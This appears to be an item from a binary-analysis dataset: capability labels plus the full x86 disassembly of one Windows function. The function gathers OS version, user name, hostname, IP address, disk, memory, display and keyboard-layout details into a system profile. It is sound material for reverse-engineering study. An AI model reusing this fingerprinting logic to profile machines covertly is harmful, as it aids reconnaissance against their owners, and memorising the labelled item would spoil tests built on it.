Function at 0x407cf4
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xce
push 0
push 0
dec ecx
jne 0x407cfc
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x409006
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040372c
mov dword [ebp - 0xe4], 0x94
lea eax, [ebp - 0xe4]
push eax
call sub.KERNEL32.DLL_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x407d4e
lea eax, [ebp - 0xc]
mov edx, 0x40901c
call fcn.004037c4
jmp 0x407d72
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e0]
call fcn.00405460
mov ecx, dword [ebp - 0x5e0]
lea eax, [ebp - 0xc]
mov edx, 0x409038
call fcn.004038f0
cmp byte [0x413b40], 0
je 0x407d8a
lea eax, [ebp - 8]
mov edx, 0x409054
call fcn.004037c4
jmp 0x407d97
lea eax, [ebp - 8]
mov edx, 0x409064
call fcn.004037c4
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e4]
call fcn.00405460
push dword [ebp - 0x5e4]
push 0x409074
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e8]
call fcn.00405460
push dword [ebp - 0x5e8]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x10]
mov edx, 0x409080
call fcn.004039f0
jne 0x407dfb
lea eax, [ebp - 8]
mov edx, 0x40908c
call fcn.004037c4
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040388c
mov eax, dword [ebp - 0x1c]
mov edx, 0x40909c
call fcn.004039f0
jne 0x407e2c
lea eax, [ebp - 0x1c]
mov edx, 0x4090b4
call fcn.004037c4
jmp 0x407e84
mov eax, dword [ebp - 0x1c]
mov edx, 0x4090c0
call fcn.004039f0
jne 0x407e4a
lea eax, [ebp - 0x1c]
mov edx, 0x4090d8
call fcn.004037c4
jmp 0x407e84
mov eax, dword [ebp - 0x1c]
mov edx, 0x4090e4
call fcn.004039f0
jne 0x407e68
lea eax, [ebp - 0x1c]
mov edx, 0x4090fc
call fcn.004037c4
jmp 0x407e84
mov eax, dword [ebp - 0x1c]
mov edx, 0x409108
call fcn.004039f0
jne 0x407e84
lea eax, [ebp - 0x1c]
mov edx, 0x409120
call fcn.004037c4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5ec]
call fcn.00405460
mov ecx, dword [ebp - 0x5ec]
lea eax, [ebp - 0x14]
mov edx, 0x40912c
call fcn.004038f0
push dword [ebp - 8]
push 0x40913c
push dword [ebp - 0x10]
push 0x409148
push dword [ebp - 0x1c]
push 0x409148
push dword [ebp - 0x14]
push 0x409148
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.00403964
push 0x409154
push dword [ebp - 0xc]
push 0x409154
push dword [ebp - 8]
push 0x40913c
push dword [ebp - 0x10]
push 0x409154
push dword [ebp - 0x14]
push 0x409154
push dword [ebp - 0x1c]
push 0x409154
push 0x409160
push dword [0x413adc]
push 0x409174
push 0x409154
mov eax, ebx
mov edx, 0xf
call fcn.00403964
push 0xfa
lea eax, [ebp - 0x5bb]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [ebx]
push 0x409180
lea eax, [ebp - 0x5f0]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5f0]
push 0x409154
mov eax, ebx
mov edx, 4
call fcn.00403964
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x409194
mov edx, 0x4091a8
mov eax, 0x80000001
call fcn.00406cd8
push dword [ebx]
push 0x4091cc
push dword [ebp - 8]
push 0x409154
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push dword [ebp - 8]
push 0x409148
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403964
push dword [ebx]
push 0x4091e0
push dword [0x413ad8]
push 0x409154
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push 0x4091f8
push dword [0x413ad8]
push 0x409148
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
mov dword [ebp - 0x4c], 0x32
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x5bb]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [ebx]
push 0x409208
lea eax, [ebp - 0x5f4]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5f4]
push 0x409154
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push 0x40921c
lea eax, [ebp - 0x5f8]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5f8]
push 0x409148
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
lea eax, [ebp - 8]
mov edx, 0x40922c
call fcn.004037c4
lea eax, [ebp - 0xc]
mov ecx, 0x409250
mov edx, dword [ebp - 8]
call fcn.004038f0
lea eax, [ebp - 0x108]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov eax, dword [0x4121f8]
push eax
mov ecx, 0x40926c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406c10
lea edx, [ebp - 0x10]
call fcn.00405440
mov eax, dword [ebp - 0x10]
call fcn.004038a4
cmp eax, 3
jge 0x4080f2
push 0
push 0x100000
call fcn.00407c84
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x10]
call fcn.00405460
push dword [ebp - 0x18]
push 0x40927c
push dword [ebp - 0x10]
push 0x409148
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
push dword [ebx]
push 0x40928c
push 0x409298
push dword [ebp - 0x10]
push 0x4092a8
push 0x409154
push 0x4092b8
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x5fc]
push eax
mov ecx, 0x4092d0
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406cd8
push dword [ebp - 0x5fc]
push 0x409154
push 0x4092ec
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x600]
push eax
mov ecx, 0x409304
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406cd8
push dword [ebp - 0x600]
push 0x409154
push 0x409318
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x604]
push eax
mov ecx, 0x40932c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406cd8
push dword [ebp - 0x604]
push 0x409154
push 0x409348
mov eax, dword [ebp - 0xf0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x608]
call fcn.00405460
push dword [ebp - 0x608]
push 0x409154
push 0x409360
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x60c]
push eax
mov ecx, 0x409378
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406cd8
push dword [ebp - 0x60c]
push 0x409154
push 0x409394
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x610]
push eax
mov ecx, 0x4093a8
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406cd8
push dword [ebp - 0x610]
push 0x409154
push 0x4093c0
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x614]
push eax
mov ecx, 0x4093e0
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406cd8
push dword [ebp - 0x614]
push 0x409154
push 0x4093fc
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x618]
push eax
mov ecx, 0x409418
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406cd8
push dword [ebp - 0x618]
push 0x409154
mov eax, ebx
mov edx, 0x1e
call fcn.00403964
lea eax, [ebp - 8]
mov edx, 0x409430
call fcn.004037c4
xor edi, edi
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.00405440
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x61c]
mov ecx, dword [ebp - 0x14]
mov edx, 0x409440
call fcn.004038f0
mov ecx, dword [ebp - 0x61c]
mov edx, 0x409458
mov eax, 0x80000002
call fcn.00406cd8
mov eax, dword [ebp - 0x10]
call fcn.004038a4
test eax, eax
jle 0x40833a
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x409154
mov eax, ebx
mov edx, 4
call fcn.00403964
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x620]
mov ecx, dword [ebp - 0x14]
mov edx, 0x409480
call fcn.004038f0
mov ecx, dword [ebp - 0x620]
mov edx, 0x40949c
mov eax, 0x80000002
call fcn.00406cd8
mov eax, dword [ebp - 0x10]
call fcn.004038a4
test eax, eax
jle 0x408396
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x409154
mov eax, ebx
mov edx, 4
call fcn.00403964
inc edi
cmp edi, 7
jne 0x4082d4
mov eax, dword [0x4121f8]
push eax
mov ecx, 0x4094c8
mov edx, 0x4094e0
mov eax, 0x80000002
call fcn.00406c10
lea edx, [ebp - 0x14]
call fcn.00405440
mov eax, dword [ebp - 0x14]
call fcn.004038a4
test eax, eax
jle 0x4083e8
push 0x409528
push dword [ebp - 0x14]
push 0x409154
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403964
mov dword [ebp - 0x128], 0x20
lea eax, [ebp - 0x128]
push eax
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [ebp - 0x120]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 8]
call fcn.00405460
push dword [ebp - 0x18]
push 0x409540
push dword [ebp - 8]
push 0x409148
push dword [0x413adc]
push 0x409148
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00403964
push dword [ebx]
push 0x40928c
push 0x409550
push 0x409154
push 0x409564
push dword [ebp - 8]
push 0x40957c
push 0x409154
push 0x409588
mov eax, dword [ebp - 0x124]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x624]
call fcn.00405460
push dword [ebp - 0x624]
push 0x409598
push 0x409154
push 0x4095a4
mov eax, dword [ebp - 0x11c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x628]
call fcn.00405460
push dword [ebp - 0x628]
push 0x40957c
push 0x409154
push 0x40928c
push 0x4095bc
push 0x409154
push 0x4095d0
mov eax, dword [ebp - 0x118]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x62c]
call fcn.00405460
push dword [ebp - 0x62c]
push 0x40957c
push 0x409154
push 0x4095e4
mov eax, dword [ebp - 0x114]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x630]
call fcn.00405460
push dword [ebp - 0x630]
push 0x40957c
push 0x409154
push 0x4095f8
mov eax, dword [ebp - 0x110]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x634]
call fcn.00405460
push dword [ebp - 0x634]
push 0x40957c
push 0x409154
push 0x409610
mov eax, dword [ebp - 0x10c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x638]
call fcn.00405460
push dword [ebp - 0x638]
push 0x40957c
push 0x409154
push 0x409154
push 0x409628
push dword [0x413aec]
push 0x409154
push dword [ebp - 0x14]
mov eax, ebx
mov edx, 0x28
call fcn.00403964
lea eax, [ebp - 0x2b8]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x5bb]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x5bb]
push eax
call sub.wsock32.dll_gethostbyname
mov esi, eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040385c
push dword [ebx]
push 0x409638
push dword [ebp - 8]
mov eax, ebx
mov edx, 3
call fcn.00403964
push dword [ebp - 0x18]
push 0x40964c
push dword [ebp - 8]
push 0x409148
push 0x409658
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00403964
call sub.wsock32.dll_WSACleanup
push dword [ebx]
push 0x409154
push 0x409154
push 0x409668
push 0x409154
mov eax, ebx
mov edx, 5
call fcn.00403964
mov byte [ebp - 1], 0x42
lea eax, [ebp - 0x63c]
mov dl, byte [ebp - 1]
call fcn.0040384c
mov edx, dword [ebp - 0x63c]
lea eax, [ebp - 0x20]
mov ecx, 0x409680
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.00403aa4
mov esi, eax
push esi
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 6
ja case.0x40867f.0
jmp dword [eax*4 + 0x408686]
lea eax, [ebp - 8]
mov edx, 0x40968c
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4096a0
call fcn.004037c4
jmp 0x408767
lea eax, [ebp - 8]
mov edx, 0x4096ac
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4096bc
call fcn.004037c4
jmp 0x408767
lea eax, [ebp - 8]
mov edx, 0x4096c8
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4096d8
call fcn.004037c4
jmp 0x408767
lea eax, [ebp - 8]
mov edx, 0x4096e8
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4096f8
call fcn.004037c4
push dword [ebx]
push 0x409154
push 0x40928c
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0x409154
mov eax, ebx
mov edx, 6
call fcn.00403964
lea eax, [ebp - 8]
call fcn.0040372c
jmp 0x408767
lea eax, [ebp - 8]
mov edx, 0x409704
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x409714
call fcn.004037c4
jmp 0x408767
lea eax, [ebp - 8]
call fcn.0040372c
mov eax, dword [ebp - 8]
call fcn.004038a4
dec eax
jl 0x408983
push dword [ebp - 0x18]
lea eax, [ebp - 0x640]
mov dl, byte [ebp - 1]
call fcn.0040384c
push dword [ebp - 0x640]
push 0x409728
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
push dword [ebx]
push 0x40928c
push dword [ebp - 0x20]
push 0x409154
push 0x409734
push dword [ebp - 8]
push 0x409154
mov eax, ebx
mov edx, 7
call fcn.00403964
push 0x64
lea eax, [ebp - 0x4c0]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x3bc]
push eax
push esi
call sub.KERNEL32.DLL_GetVolumeInformationA
test eax, eax
je 0x4088b9
push dword [ebx]
push 0x409744
lea eax, [ebp - 0x644]
lea edx, [ebp - 0x3bc]
mov ecx, 0x104
call fcn.0040388c
push dword [ebp - 0x644]
push 0x409154
push 0x409754
lea eax, [ebp - 0x648]
lea edx, [ebp - 0x4c0]
mov ecx, 0x104
call fcn.0040388c
push dword [ebp - 0x648]
push 0x409154
push 0x409764
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x64c]
call fcn.00405460
push dword [ebp - 0x64c]
push 0x409154
push 0x409774
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x650]
call fcn.00405460
push dword [ebp - 0x650]
push 0x409154
push 0x409788
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x654]
call fcn.00405460
push dword [ebp - 0x654]
push 0x409154
mov eax, ebx
mov edx, 0x10
call fcn.00403964
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
call sub.KERNEL32.DLL_GetDiskFreeSpaceExA
test eax, eax
je 0x408983
push dword [ebx]
push 0x409798
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x658]
call fcn.00405460
push dword [ebp - 0x658]
push 0x40957c
push 0x409154
push 0x4097a8
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x65c]
call fcn.00405460
push dword [ebp - 0x65c]
push 0x40957c
push 0x409154
push 0x4097b8
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x660]
call fcn.00405460
push dword [ebp - 0x660]
push 0x40957c
push 0x409154
mov eax, ebx
mov edx, 0xd
call fcn.00403964
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x5b
jne 0x408645
push 0
push 0
push 0
push 0x4097c0
call sub.gdi32.dll_CreateDCA
mov esi, eax
push 8
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.00405440
push 0xa
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00405440
push 0x74
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00405440
push 0xc
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.00405440
push esi
call sub.gdi32.dll_DeleteDC
push dword [ebx]
push 0x40928c
push 0x4097d0
push 0x409154
push 0x4097e4
push dword [ebp - 8]
push 0x409154
push 0x4097f4
push dword [ebp - 0xc]
push 0x409154
push 0x409808
push dword [ebp - 0x10]
push 0x409154
push 0x40981c
push dword [ebp - 0x14]
push 0x409154
mov eax, ebx
mov edx, 0x10
call fcn.00403964
push dword [ebp - 0x18]
push 0x409148
push 0x409834
push dword [ebp - 8]
push 0x409844
push dword [ebp - 0xc]
push 0x409850
push dword [ebp - 0x10]
push 0x409844
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, 0xa
call fcn.00403964
lea eax, [ebp - 0x5dc]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x5dc]
push eax
push 8
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0x4c], eax
push 0x40985c
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x664]
call fcn.00405460
push dword [ebp - 0x664]
push 0x409154
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x408f09
inc eax
mov dword [ebp - 0x50], eax
xor edi, edi
lea esi, [ebp - 0x5dc]
mov eax, dword [esi]
and eax, 0xff
cmp eax, 0x38
ja case.0x408ae8.0
jmp dword [eax*4 + 0x408aef]
lea eax, [ebp - 0x14]
mov edx, 0x409878
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409888
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409898
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4098a8
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4098b8
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4098c8
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4098d8
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4098e8
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4098f8
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409908
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409918
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409928
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409938
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409944
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409958
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x40996c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x40997c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x40998c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x40999c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4099ac
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4099bc
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4099cc
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4099e0
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x4099f4
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a08
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a18
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a2c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a3c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a4c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a60
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a74
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a84
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409a98
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409aac
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409ab8
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409ac8
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409adc
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409aec
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409afc
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409b0c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409b1c
call fcn.004037c4
jmp case.0x408ae8.0
lea eax, [ebp - 0x14]
mov edx, 0x409b28
call fcn.004037c4
push dword [ebp - 8]
lea edx, [ebp - 0x668]
lea eax, [edi + 1]
call fcn.00405440
push dword [ebp - 0x668]
push 0x409b38
mov eax, dword [esi]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x66c]
call fcn.00405460
push dword [ebp - 0x66c]
push 0x40913c
push dword [ebp - 0x14]
push 0x409154
lea eax, [ebp - 8]
mov edx, 7
call fcn.00403964
inc edi
add esi, 4
dec dword [ebp - 0x50]
jne 0x408ad8
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004038ac
lea eax, [ebp - 0x10]
mov edx, 0x409b44
call fcn.004037c4
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x409b60
mov edx, dword [ebp - 0x10]
mov eax, 0x80000001
call fcn.00406cd8
cmp dword [ebp - 8], 0
je 0x408f9b
push dword [ebx]
push 0x40928c
push 0x409b74
push dword [ebp - 8]
push 0x409154
push 0x409b8c
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x670]
push eax
mov ecx, 0x409ba0
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406cd8
push dword [ebp - 0x670]
push 0x409154
mov eax, ebx
mov edx, 8
call fcn.00403964
push 0x409bb0
push dword [ebp - 0x18]
push 0x409154
push 0x409bd8
push 0x409154
push 0x409be8
lea edx, [ebp - 0x674]
mov eax, 0x71
call fcn.00405440
push dword [ebp - 0x674]
push dword [ebx]
mov eax, ebx
mov edx, 8
call fcn.00403964
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40900d
lea eax, [ebp - 0x674]
mov edx, 0x26
call fcn.00403750
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.00403750
ret